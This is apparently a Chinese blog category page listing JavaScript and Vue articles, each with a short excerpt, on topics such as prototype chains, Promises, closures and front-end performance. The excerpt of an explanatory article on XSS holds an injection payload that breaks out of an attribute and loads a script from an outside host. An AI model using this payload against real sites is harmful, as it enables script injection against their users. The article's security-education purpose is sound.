js基础/ES6+
文章平均质量分 80
js基础/ES6+
maogugu0319
这个作者很懒,什么都没留下…
展开
-
正则表达式处理表达式替换内容方案
正则匹配替换内容原创 2022-08-24 15:49:27 · 310 阅读 · 1 评论 -
彻底弄懂原型链
写在前面对于初学者而言,原型链是一个比较难懂的概念,而且百度上解释原型链的五花八门,看得越多就越觉得不懂,我就是这样,看得越多,就越觉得原型链这个概念深不可测,...转载 2020-07-10 15:44:11 · 175 阅读 · 0 评论 -
JavaScript中Function和Object的原型和原型链
我们之前写了原型和原型链的文章,但是后面发现比较特殊的一种情况:Function和Object的原型和原型链的关系比较复杂,所以这篇专门来讲两者的关系。主要参考...转载 2020-07-10 15:40:09 · 332 阅读 · 0 评论 -
【超级长文】从输入URL到页面加载的过程?如何由一道题完善自己的前端知识体系!
前言原文篇幅过长,本文仅摘录了提纲,可参考完整全文链接大纲 对知识体系进行一次预评级 为什么说知识体系如此重要? 梳理主干流程 从浏览器接收url到开启网络请求线程 多进程的浏览器 多线程的浏览器内核 解析URL 网络请求都是单独的线程 更多 开启网络线程到发出一个完整的http请求 DNS查询得到IP tcp/ip请求 五层因特网.转载 2020-05-09 14:17:20 · 191 阅读 · 0 评论 -
结合源码(Observer Dep Watcher)解析vue数据劫持 响应式原理
1、vue响应式原理流程图概览2、具体流程(1)vue示例初始化(源码位于instance/index.js)import { initMixin } from './init'import { stateMixin } from './state'import { renderMixin } from './render'import { eventsMixin } from './events'import { lifecycleMixin } from './lif.转载 2020-05-09 13:55:16 · 160 阅读 · 0 评论 -
结合源码解析vue2.0的diff算法
目录 前言 virtual dom 分析diff 总结 前言vue2.0加入了virtual dom,有向react靠拢的意思。vue的diff位于patch.js文件中,我的一个小框架aoy也同样使用此算法,该算法来源于snabbdom,复杂度为O(n)。了解diff过程可以让我们更高效的使用框架。本文力求以图文并茂的方式来讲明这个diff的过程。virtual dom如果不了解virtual dom,要理解diff的过程是比较困难的。虚拟dom对应转载 2020-05-09 10:21:52 · 97 阅读 · 0 评论 -
前端安全之 xss 攻击
什么是 xss?XSS 攻击指通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的代码。危害有什么?跳转到广告页面,页面注入广告等等。 导致公司域名被其他平台拉黑,从而使业务受损。 用户的财产受到威胁,他注入的代码可以在网页中任意请求接口。注入代码http://upcdn"'></script><scriptsrc="//www.lilnong.top/xss.js"></script><script>aler.转载 2020-05-09 09:42:36 · 293 阅读 · 0 评论 -
前端模块化的演变历程(CommonJs、AMD/require.js、CMD/sea.js、ES6 Module)
前言Javascript不是一种模块化编程语言,它不支持"类"(class),更遑论"模块"(module)了,随着前端发展对模块需求越来越大,模块也是经历了从最初的简单模块写法到AMD和CMD规范的出现,再到ES6发布,目前已经可以很方便的在Javascript中使用"类"和"模块"了。一、以前的写法1、原始写法function m1(){ //... } ...转载 2020-05-09 09:42:45 · 184 阅读 · 0 评论 -
JS数组循环的性能和效率分析(for、while、forEach、map、for of)
前言前端开发中经常涉及到数组的相关操作:去重、过...转载 2020-05-08 15:38:24 · 1425 阅读 · 0 评论 -
深入理解javascript闭包
前面提到的上下文环境和作用域的知识,除了了解这些知识之外,还是理解闭包的基础。至于“闭包”这个词的概念的文字描述,确实不好解释,我看过很多遍,但是现在还是记不住。但是你只需要知道应用的两种情况即可——函数作为返回值,函数作为参数传递。第一,函数作为返回值如上代码,bar函数作为返回值,赋值给f1变量。执行f1(15)时,用到了fn作用域下的max变量的值。至于如何跨作用域取值,...转载 2020-05-08 15:18:48 · 77 阅读 · 0 评论 -
JS正则表达式入门,看这篇就够了
前言在正文开始前,先说说正则表达式是什么,为什么要用正则表达式?正则表达式在我个人看来就是一个浏览器可以识别的规则,有了这个规则,浏览器就可以帮我们判断某些字符是否符合我们的要求。但是,我们为什么要使用正则表达式呢?下面我们就看一下下面这个业务场景。验证QQ号的合法性/***合法qq号规则:1、5-15位;2、全是数字;3、不以0开头*///1.在不使用正则表达式的时候,我们...转载 2020-05-08 14:02:14 · 226 阅读 · 0 评论 -
Performance — 前端性能监控利器
最近在写一个监控脚本,终于有机会接触到了这一块,整理后写下了本文。Performance是一个做前端性能监控离不开的API,最好在页面完全加载完成之后再使用,因为很多值必须在页面完全加载之后才能得到。最简单的办法是在window.onload事件中读取各种数据。属性timing (PerformanceTiming)从输入url到用户可以使用页面的全过程时间统计,会返回一个Perfo...转载 2020-05-08 13:58:19 · 176 阅读 · 0 评论 -
Promise实现原理(附源码)
本篇文章主要在于探究Promise的实现原理,带领大家一步一步实现一个Promise, 不对其用法做说明,如果读者还对Promise的用法不了解,可以查看阮一峰老师的ES6 Promise教程。接下来,带你一步一步实现一个Promise1.Promise基本结构new Promise((resolve, reject) => { setTimeout(() =...转载 2020-05-08 13:53:30 · 179 阅读 · 1 评论 -
原型,原型链,原型和class的继承
原型每个函数(构造函数)都有一个 prototype 属性,指向该函数(构造函数)的原型对象。实例没有 prototype 属性,但是有 __proto__ 属性。函数同时有 prototype 和 __proto__ 属性。function Person(name) { this.name = name;}let person = new Person('xiaoming'...转载 2020-05-08 13:54:33 · 235 阅读 · 0 评论 -
看看这些被同事喷的JS代码风格你写过多少
一、变量相关二、函数相关三、尽量使用ES6,有可以能的话ES7中新语法 现在写代码比以前好多了,代码的格式都有eslint,prettier,babel(写新版语法)这些来保证,然而,技术手段再高端都不能解决代码可读性(代码能否被未来的自己和同事看懂)的问题,因为这个问题只有人自己才能解决。我们写代码要写到下图中左边这样基本上就功德圆满了。注:由于个人水平与眼界的原因,这篇文章...转载 2020-05-08 13:54:51 · 125 阅读 · 0 评论 -
ajax和axios、fetch的区别
1.jQuery ajax$.ajax({ type: 'POST', url: url, data: data, dataType: dataType, success: function () {}, error: function () {}});传统 Ajax 指的是 XMLHttpRequest(XHR), 最早出现的发送后端请求技...转载 2020-05-07 18:01:20 · 105 阅读 · 0 评论 -
可取消的 Promise
const makeCancelable = (promise) => { let hasCanceled_ = false; const wrappedPromise = new Promise((resolve, reject) => { promise.then((val) => hasCanceled_ ? reject({isCancele...转载 2020-05-07 17:59:58 · 476 阅读 · 0 评论 -
bind函数实现
一句话介绍 bind:bind() 方法会创建一个新函数。当这个新函数被调用时,bind() 的第一个参数将作为它运行时的 this,之后的一系列参数将会在传递的实参前传入作为它的参数。(来自于 MDN )由此我们可以首先得出 bind 函数的两个特点:返回一个函数 可以传入参数返回函数的模拟实现从第一个特点开始,我们举个例子:var foo = { valu...转载 2020-05-07 17:53:42 · 635 阅读 · 0 评论 -
JavaScript BOM
什么是BOMDOM是一套操作HTML标签的API(接口/方法/属性)BOM是一套操作浏览器的API(接口/方法/属性)常见的BOM对象window:代表整个浏览器窗口(window是BOM中的一个对象,并且是顶级的对象)Navigator :代表浏览器当前的信息,通过Navigator我们可以获取用户当前使用的是什么浏览器Location: 代表浏览器当前的地址信息,通过Locat...转载 2020-05-07 17:56:34 · 80 阅读 · 0 评论 -
js之内存泄漏
一、JavaScript 的垃圾收集机制javascript具有自动垃圾收集机制,也就是说,执行环境会负责管理代码执行过程中的使用的内存。而在C和C++之类的语言中,开发人员的一项基本任务就是手动跟踪内存的使用情况,这是造成许多问题的一个根源。在编写javascript程序时候,开发人员不用再关心内存使用的问题,所需内存的分配 以及无用的回收完全实现了自动管理。JavaScript中最...转载 2020-05-07 17:58:25 · 113 阅读 · 0 评论 -
ES6、ES7、ES8、ES9、ES10新特性一览 (个人整理,学习笔记)
ES全称ECMAScript,ECMAScript是ECMA制定的标准化脚本语言。目前JavaScript使用的ECMAScript版本为ECMA-417。关于ECMA的最新资讯可以浏览 ECMA news查看。ECMA规范最终由TC39敲定。TC39由包括浏览器厂商在内的各方组成,他们开会推动JavaScript提案沿着一条严格的发展道路前进。 从提案到入选ECMA规范主要有以下几个阶段...转载 2020-05-07 14:05:20 · 264 阅读 · 0 评论 -
巧用ES7装饰器 从重复的逻辑代码中解放
1. 什么是装饰器java 中称之为注解 javascript 中装饰器的作用更加强大 装饰器是 方法 或者 类 的重定义 实现原理是 Object.defineProperties 装饰器 在运行前 并不是真实的可用代码 而是对代码的描述与修改 装饰器 不是 runtime2. 我们使用了哪些装饰器 装饰器 目前有 类装饰器 与 方法装饰器不可以对属性使用装饰 不可以对函数...原创 2020-05-06 16:38:40 · 247 阅读 · 0 评论 -
巧用可选链
可选链操作符?.能够去读取一个被连接对象的深层次的属性的值而无需明确校验链条上每一个引用的有效性。?.运算符功能类似于.运算符,不同之处在于如果链条上的一个引用是nullish(null或undefined),.操作符会引起一个错误,?.操作符取而代之的是会按照短路计算的方式返回一个undefined。当?.操作符用于函数调用时,如果该函数不存在也将会返回undefined。当访问链条上...转载 2020-05-06 16:21:05 · 367 阅读 · 0 评论 -
JS基础之传参(值传递、对象传递)
一、概念 我们需了解什么是按值传递(call by value),什么是按引用传递(call by reference)。在计算机科学里,这个部分叫求值策略(Evaluation Strategy)。它决定变量之间、函数调用时实参和形参之间值是如何传递的。按值传递 VS. 按引用传递 按值传递(call by value)是最常用的求值策略:函数的形参是被调用时所传实参的副本。...转载 2020-05-06 16:01:54 · 1413 阅读 · 0 评论 -
JS运行机制最全面的一次梳理
原文:从浏览器多进程到JS单线程,JS运行机制最全面的一次梳理由我进行二次编辑整理而成。长文预警!需要有一定的编程基础与前端基础。能解答你大部分的困惑,例如:浏览器如何处理页面与 JS 脚本和插件的?JS 是绝对的单线程?事件驱动是什么(Node.js 基础)?事件循环是什么?页面如何被渲染的?浏览器的硬件加速是什么意思?从浏览器进程,再到浏览器内核运行,再到JS引擎单线程,再...转载 2020-05-06 15:37:54 · 274 阅读 · 0 评论